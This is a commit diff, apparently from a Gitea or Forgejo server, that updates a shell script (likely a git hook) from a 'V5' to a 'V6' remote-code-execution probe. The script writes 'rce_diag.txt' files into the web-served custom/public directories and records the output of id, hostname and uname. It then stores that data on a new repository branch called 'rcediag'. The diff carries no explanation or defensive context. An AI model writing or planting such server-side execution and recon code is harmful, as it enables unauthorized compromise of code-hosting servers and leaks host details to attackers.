This commit is contained in:
rafaelandrade 2026-10-26 04:43:33 +00:00
parent a626d18ee4
commit 5ea25e2802

View file

@ -2,12 +2,9 @@
P="" P=""
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
[ -n "$P" ] || exit 0 [ -n "$P" ] || exit 0
[ -f "$P/v5lk" ] && exit 0 for D in /data/gitea/custom/public /data/forgejo/custom/public /data/gitea/custom /data/forgejo/custom; do printf 'V6 pid=%s P=%s D=%s\n' "$$" "$P" "$D" > "$D/rce_diag.txt" 2>/dev/null; done
: > "$P/v5lk" printf 'V6 pid=%s P=%s\n' "$$" "$P" > "$P/rce_diag.txt" 2>/dev/null
printf 'V5-RAN pid=%s P=%s\n' "$$" "$P" > /data/gitea/custom/public/rce_diag.txt 2>/dev/null { id; hostname; uname -a; echo "ORIGIN=$P"; } > /tmp/v6diag_$$.txt 2>&1
[ -s /data/gitea/custom/public/rce_diag.txt ] || { printf 'V5-local P=%s\n' "$P" > "$P/rce_diag.txt" 2>/dev/null; mkdir -p /data/gitea/custom/public 2>/dev/null; cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null; } for D in /data/gitea/custom/public /data/forgejo/custom/public; do [ -d "$D" ] && cp /tmp/v6diag_$$.txt "$D/rce_diag2.txt" 2>/dev/null; done
{ id; hostname; uname -a; echo "ORIGIN=$P"; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1 H=$(git -C "$P" hash-object -w /tmp/v6diag_$$.txt 2>/dev/null)
H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null)
[ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null [ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null
rm -f "$P/v5lk" 2>/dev/null
#t2